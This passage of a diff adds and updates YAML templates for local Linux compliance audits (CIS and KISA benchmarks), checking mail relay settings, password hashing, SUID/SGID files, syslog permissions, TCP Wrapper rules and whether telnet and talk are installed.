+          || (test -f /etc/mail/access.db && echo "[INFO] Sendmail access.db exists (relay likely restricted)"); then
+          echo "[SAFE] Sendmail relay restriction is configured."
+        else
+          echo "[VULNERABLE] Sendmail relay restriction is missing."
+        fi
+      else
+        echo "[INFO] Sendmail is not active."
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if systemctl is-active postfix | grep -q running; then
+        mynetworks=$(grep -E '^\s*mynetworks\s*=' /etc/postfix/main.cf 2>/dev/null)
+        relay_restrict=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*permit_mynetworks' /etc/postfix/main.cf 2>/dev/null)
+        reject_unauth=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*reject_unauth_destination' /etc/postfix/main.cf 2>/dev/null)
+
+        if [[ -z "$mynetworks" || -z "$relay_restrict" || -z "$reject_unauth" ]]; then
+          echo "[VULNERABLE] Postfix relay restrictions are missing or misconfigured."
+        else
+          echo "[SAFE] Postfix relay restrictions are properly configured."
+        fi
+      else
+        echo "[INFO] Postfix is not active."
+      fi
+
+    matchers:
+      - type: word
+        name: sendmail
+        part: code_1_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: postfix
+        part: code_2_response
+        words:
+          - "[VULNERABLE]"
+# digest: 490a00463044022007bbf2c607700ae13d4c405a692792e71588ae5ba345fdaf3607a3857d7407c6022078e9830186951fe00d87c820cb91bd2cde6a00a10675cdf22267e85a4a5ccf60:922c64590222798bb761d5b6d8e72950

code/linux/audit/ssh-gssapiauthentication-disabled.yaml

@@ -12,7 +12,7 @@ info:
     - https://www.cisecurity.org/benchmark/ubuntu_linux
   metadata:
     verified: true
-  tags: cis,ssh,linux,audit,ubuntu,benchmark
+  tags: cis,local,ssh,linux,audit,ubuntu,benchmark
 
 self-contained: true
 
@@ -58,4 +58,4 @@ code:
         name: policy-error
         words:
           - "Policy-Error"
-# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950

code/linux/audit/ssh-hostbasedauth-disabled.yaml

@@ -13,7 +13,7 @@ info:
     - https://docs.datadoghq.com/security/default_rules/def-000-fqw/
   metadata:
     verified: true
-  tags: cis,ssh,linux,audit,ubuntu,benchmark
+  tags: cis,local,ssh,linux,audit,ubuntu,benchmark
 
 self-contained: true
 
@@ -43,4 +43,4 @@ code:
         name: policy-fail
         words:
           - "Policy-Fail"
-# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950

code/linux/audit/strong-password-hashing.yaml

@@ -0,0 +1,48 @@
+id: strong-password-hashing
+
+info:
+  name: Ensure Strong Password Hashing Algorithm is Configured
+  author: Th3l0newolf
+  severity: high
+  description: |
+    The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
+  remediation: |
+    Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
+        if [ -n "$HASH_METHOD_LINE" ]; then
+          VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
+          if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
+            echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100cd6bf4ce19f4fb0e8d029237a76e2574dd9d82278c7a528d5f633f2f6201bc29022053f3b756734482a237fa8af52147eb59164c143c06d425727c1ddb5b4ad4340c:922c64590222798bb761d5b6d8e72950

code/linux/audit/suid-sgid.yaml

@@ -0,0 +1,26 @@
+id: suid-sgid
+
+info:
+  name: Root SUID/SGID File Check
+  author: songyaeji
+  severity: high
+  description: |
+    Files owned by root with SUID or SGID permissions could have led to privilege escalation.if misconfigured. This template detected such files for further review.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,compliance,privesc,kisas
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find / -user root -type f \( -perm -4000 -o -perm -2000 \) -exec ls -lg {} \; 2>/dev/null | head -n 10
+
+    matchers:
+      - regex:
+          - "^-rws.*"   # SUID
+          - "^-..s.*"   # SGID
+# digest: 490a00463044022061acb684d2780baafc78c626e925de50807f037fe4b67af44437df254d16889a02204668b1b627f4944cbe222aa6ac9e513e65b2646214cfaa42353e5044ea9624aa:922c64590222798bb761d5b6d8e72950

code/linux/audit/syslog-rsyslog-permission.yaml

@@ -0,0 +1,40 @@
+id: syslog-rsyslog-permission
+
+info:
+  name: /etc/syslog and /etc/rsyslog.conf Permission Check
+  author: songyaeji
+  severity: high
+  description: |
+    The /etc/syslog.conf or /etc/rsyslog.conf file was not owned by root or had insecure permissions,allowing attackers to manipulate logging settings to evade detection.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      stat -c "%U %G %a" /etc/rsyslog.conf 2>/dev/null || echo "not-found"
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      stat -c "%U %G %a" /etc/syslog.conf 2>/dev/null || echo "not-found"
+
+    matchers:
+      - type: regex
+        name: rsyslog
+        part: code_1_response
+        regex:
+          - '^root\s+root\s+(600|644)$'
+
+      - type: regex
+        name: syslog
+        part: code_2_response
+        regex:
+          - '^root\s+root\s+(600|644)$'
+# digest: 4a0a00473045022057e616f66cdbb8c514a74c8b3d63748e4a400838e6e53d26b9dc1ff5f86796b2022100a6f9ca4535510294af9c6aef347cb8376c4ab27653abe22dae3bb0ad93d89d9a:922c64590222798bb761d5b6d8e72950

code/linux/audit/talk-client.yaml

@@ -0,0 +1,43 @@
+id: talk-client
+
+info:
+  name: Ensure Talk Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The talk package provides a client for user-to-user messaging on local or remote systems.Since it uses unencrypted communication, it should be removed to minimize security risks.
+  remediation: |
+    Ensure the talk package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove talk -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,talk
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the talk package is installed
+        if dpkg-query -W -f='${Status}' talk 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-talk-client-check:Policy-Fail] [talk is installed] [CIS_FAIL]"
+        else
+          echo "[cis-talk-client-check:Policy-Pass] [talk is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a0046304402201c824ba110feb30361f8e6b4084b712b8a4efcc1be7f11097fff3afd3a0018d102202224c841dd09c1e2eb771ab5a730dc6a9cc06e21a5fb5766591d0efd3ffd2475:922c64590222798bb761d5b6d8e72950

code/linux/audit/tcpwrapper-access.yaml

@@ -0,0 +1,54 @@
+id: tcpwrapper-access
+
+info:
+  name: TCP Wrapper Access Control Check
+  author: songyaeji
+  severity: low
+  description: |
+    Checked if IP and port restrictions were properly applied using TCP Wrapper (/etc/hosts.allow and /etc/hosts.deny). Reported systems as vulnerable if unrestricted remote access (e.g. Telnet, RSH, SSH) was possible.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      echo "[*] Checking /etc/hosts.deny (default deny policy)"
+      if grep -Eq "^[[:space:]]*ALL:[[:space:]]*ALL" /etc/hosts.deny; then
+        echo "[SAFE] /etc/hosts.deny has ALL:ALL policy"
+      else
+        echo "[VULNERABLE] /etc/hosts.deny is missing ALL:ALL (default deny)"
+      fi
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      echo "[*] Checking sshd allow policy in /etc/hosts.allow"
+      if grep -Eq "^[[:space:]]*sshd" /etc/hosts.allow; then
+        if grep -Eq "^[[:space:]]*sshd:[[:space:]]*ALL" /etc/hosts.allow; then
+          echo "[VULNERABLE] sshd allows ALL hosts (too permissive)"
+        else
+          echo "[SAFE] sshd-specific allow policy found with restrictions"
+        fi
+      else
+        echo "[VULNERABLE] No sshd-specific allow policy found"
+      fi
+
+    matchers:
+      - type: word
+        name: hosts.deny
+        part: code_1_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: sshd
+        part: code_2_response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100aaf438d9d1df7bb250887b6732f0c1238fd0baa0b46cdd3bfcb9294e178624dd0221008dc264a278dc80cdb7f50423f878c08b49b46e0c097519dadeddf0642e74072f:922c64590222798bb761d5b6d8e72950

code/linux/audit/telnet-client.yaml

@@ -0,0 +1,44 @@
+id: telnet-client
+
+info:
+  name: Ensure Telnet Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The telnet and inetutils-telnet packages provide a Telnet client for remote access.Since Telnet uses unencrypted communication, these packages should not be installed to reduce the risk of credential theft and unauthorized access.
+  remediation: |
+    Ensure telnet and inetutils-telnet packages are not installed unless explicitly required.To remove them, run: sudo apt-get remove telnet inetutils-telnet -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,telnet
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if telnet or inetutils-telnet package is installed
+        if dpkg-query -W -f='${Package} ${Status}\n' telnet inetutils-telnet 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-telnet-client-check:Policy-Fail] [Telnet client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-telnet-client-check:Policy-Pass] [Telnet client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100b01ae626cf301187f1100bc702af3f84281c84e01327ced2a652005464591dbc02210086c8454cbea9e2c67672a569489079b1a7bd0612571c8b43f7f51ed5f4fc5ebb:922c64590222798bb761d5b6d8e72950